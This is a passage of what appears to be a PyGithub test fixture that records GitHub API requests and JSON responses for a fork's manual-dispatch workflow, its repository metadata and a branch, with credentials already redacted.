ithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2020-07-27T11:07:21Z","pushed_at":"2020-07-27T04:29:44Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12885,"stargazers_count":3633,"watchers_count":3633,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1161,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":64,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":1161,"open_issues":64,"watchers":3633,"default_branch":"master"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2020-07-27T11:07:21Z","pushed_at":"2020-07-27T04:29:44Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12885,"stargazers_count":3633,"watchers_count":3633,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1161,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":64,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":1161,"open_issues":64,"watchers":3633,"default_branch":"master"},"network_count":1161,"subscribers_count":0} https GET api.github.com None /repos/wrecker/PyGithub/actions/workflows/manual_dispatch.yml {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Mon, 27 Jul 2020 11:24:48 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4970'), ('X-RateLimit-Reset', '1595851785'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"a0b2bdd43dd4a479fced3585634bd734"'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8982:1F4C:4AEDBA:5F075B:5F1EB980')] {"id":2001227,"node_id":"MDg6V29ya2Zsb3cyMDAxMjI3","name":"Manual dispatch test workflow","path":".github/workflows/manual_dispatch.yml","state":"active","created_at":"2020-07-25T22:58:25.000-07:00","updated_at":"2020-07-25T23:00:05.000-07:00","url":"https://api.github.com/repos/wrecker/PyGithub/actions/workflows/2001227","html_url":"https://github.com/wrecker/PyGithub/blob/main/.github/workflows/manual_dispatch.yml","badge_url":"https://github.com/wrecker/PyGithub/workflows/Manual%20dispatch%20test%20workflow/badge.svg"} https GET api.github.com None /repos/wrecker/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Mon, 27 Jul 2020 11:24:49 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4969'), ('X-RateLimit-Reset', '1595851786'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"b28176bcae143101781242716a95299e"'), ('Last-Modified', 'Sun, 26 Jul 2020 06:00:07 GMT'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8984:7781:11BB83:17107E:5F1EB981')] {"id":282377842,"node_id":"MDEwOlJlcG9zaXRvcnkyODIzNzc4NDI=","name":"PyGithub","full_name":"wrecker/PyGithub","private":false,"owner":{"login":"wrecker","id":4432114,"node_id":"MDQ6VXNlcjQ0MzIxMTQ=","avatar_url":"https://avatars2.githubusercontent.com/u/4432114?v=4","gravatar_id":"","url":"https://api.github.com/users/wrecker","html_url":"https://github.com/wrecker","followers_url":"https://api.github.com/users/wrecker/followers","following_url":"https://api.github.com/users/wrecker/following{/other_user}","gists_url":"https://api.github.com/users/wrecker/gists{/gist_id}","starred_url":"https://api.github.com/users/wrecker/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wrecker/subscriptions","organizations_url":"https://api.github.com/users/wrecker/orgs","repos_url":"https://api.github.com/users/wrecker/repos","events_url":"https://api.github.com/users/wrecker/events{/privacy}","received_events_url":"https://api.github.com/users/wrecker/received_events","type":"User","site_admin":false},"html_url":"https://github.com/wrecker/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/wrecker/PyGithub","forks_url":"https://api.github.com/repos/wrecker/PyGithub/forks","keys_url":"https://api.github.com/repos/wrecker/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/wrecker/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/wrecker/PyGithub/teams","hooks_url":"https://api.github.com/repos/wrecker/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/wrecker/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/wrecker/PyGithub/events","assignees_url":"https://api.github.com/repos/wrecker/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/wrecker/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/wrecker/PyGithub/tags","blobs_url":"https://api.github.com/repos/wrecker/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/wrecker/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/wrecker/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/wrecker/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/wrecker/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/wrecker/PyGithub/languages","stargazers_url":"https://api.github.com/repos/wrecker/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/wrecker/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/wrecker/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/wrecker/PyGithub/subscription","commits_url":"https://api.github.com/repos/wrecker/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/wrecker/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/wrecker/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/wrecker/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/wrecker/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/wrecker/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/wrecker/PyGithub/merges","archive_url":"https://api.github.com/repos/wrecker/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/wrecker/PyGithub/downloads","issues_url":"https://api.github.com/repos/wrecker/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/wrecker/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/wrecker/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/wrecker/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/wrecker/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/wrecker/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/wrecker/PyGithub/deployments","created_at":"2020-07-25T05:30:01Z","updated_at":"2020-07-26T06:00:07Z","pushed_at":"2020-07-27T11:12:39Z","git_url":"git://github.com/wrecker/PyGithub.git","ssh_url":"git@github.com:wrecker/PyGithub.git","clone_url":"https://github.com/wrecker/PyGithub.git","svn_url":"https://github.com/wrecker/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12883,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":0,"open_issues":0,"watchers":0,"default_branch":"main","permissions":{"admin":true,"push":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"delete_branch_on_merge":false,"parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2020-07-27T11:07:21Z","pushed_at":"2020-07-27T04:29:44Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12885,"stargazers_count":3633,"watchers_count":3633,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1161,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":64,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":1161,"open_issues":64,"watchers":3633,"default_branch":"master"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2020-07-27T11:07:21Z","pushed_at":"2020-07-27T04:29:44Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":12885,"stargazers_count":3633,"watchers_count":3633,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":1161,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":64,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":1161,"open_issues":64,"watchers":3633,"default_branch":"master"},"network_count":1161,"subscribers_count":0} https GET api.github.com None /repos/wrecker/PyGithub/branches/workflow_dispatch_branch {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Mon, 27 Jul 2020 11:24:50 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Server', 'GitHub.com'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4968'), ('X-RateLimit-Reset', '1595851786'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('ETag', 'W/"6f69cb83e4efc217c039d2195ff055bd"'), ('X-OAuth-Scopes', 'repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8986:592F:B48F9C:DB91CB:5F1EB981')] {"name":"workflow_dispatch_branch","commit":{"sha":"908f1b5d219139878f9910b0e10ae49bb7573147","node_id":"MDY6Q29tbWl0MjgyMzc3ODQyOjkwOGYxYjVkMjE5MTM5ODc4Zjk5MTBiMGUxMGFlNDliYjc1NzMxNDc=","commit":{"author":{"name":"Mahesh Raju","email":"coder@mahesh.net","date":"2020-07-26T18:38:21Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2020-07-26T18:38:21Z"},"message":"Update README.md","tree":{"sha":"e0e67a5423250b721c4c9390f612eab42ecba8d3","url":"https://api.github.com/repos/wrecker/PyGithub/git/trees/e0e67a5423250b721c4c9390f612eab42ecba8d3"},"url":"https://api.github.com/repos/wrecker/PyGithub/git/commits/908f1b5d219139878f9910b0e10ae49bb7573147","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\nwsBcBAABCAAQBQJfHc2dCRBK7hj4Ov3rIwAAdHIIABU+x9u6anrXmXnjEILs8tRa\n7Z5qudXQC3PQvX7QIKkAYCdevFzXgzj6T/V+BUI7lEYvX2xYOCIN/3GstzLtbpaL\nxGrasU/cVMXJjlXAtLrE5iKAcO8MyGPAVU4XALuojn/IMZ9W9JcXlKHJ6FQbOi8+\nRWWsLyU/P6wadik7ihxTTRenHvdeQysNlWW2tpRM1LULikQAh/yqNopu7DFVA24H\nDMZyqiv5B4WJ4yNlq9WgsvRwNRSbo4og+OGHU+5CZVaF73SiuPggTLQxeh3kNT8X\nO/mfB96csZwCc5S5vK6Ke3dTCh2dvTkNVcYd3ikk9XHhUpp8lv7eUk6DIVcb5+I=\n=uoUR\n-----END PGP SIGNATURE-----\n","payload":"tree e0e67a5423250b721c4c9390f612eab42ecba8d3\nparent 1215b6fc030d96c944ba698640b53da046d4f2dd\nauthor Mahesh Raju 1595788701 -0700\ncommitter GitHub 1595788701 -0700\n\nUpdate README.md"}},"url":"https://api.github.com/repos/wrecker/PyGithub/commits/908f1b5d219139878f9910b0e10ae49bb7573147","html_url":"https://github.com/wrecker/PyGithub/commit/908f1b5d219139878f9910b0e10ae49bb7573147","comments_url":"https://api.github.com/repos/wrecker/PyGithub/commits/908f1b5d219139878f9910b0e10ae49bb7573147/comments","author":{"login":"wrecker","id":4432114,"node_id":"MDQ6VXNlcjQ0MzIxMTQ=","avatar_url":"https://avatars2.githubusercontent.com/u/4432114?v=4","gravatar_id":"","url":"https://api.github.com/users/wrecker","html_url":"https://github.com/wrecker","followers_url":"https://api.github.com/users/wrecker/followers","following_url":"https://api.github.com/users/wrecker/following{/other_user}","gists_url":"https://api.github.com/users/wrecker/gists{/gist_id}","starred_url":"https://api.github.com/users/wrecker/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wrecker/subscriptions","organizations_url":"https://api.github.com/users/wrecker/orgs","repos_url":"https://api.github.com/users/wrecker/repos","events_url":"https://api.github.com/users/wrecker/events{/privacy}","received_events_url":"https://api.github.com/users/wrecker/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"1215b6fc030d96c944ba698640b53da046d4f2dd","url":"https://api.github.com/repos/wrecker/PyGithub/commits/1215b6fc030d96c944ba698640b53da046d4f2dd","html_url":"https://github.com/wrecker/PyGithub/commit/1215b6fc030d96c944ba698640b53da046d4f2dd"}]},"_links":{"self":"https://api.github.com/repos/wrecker/PyGithub/bran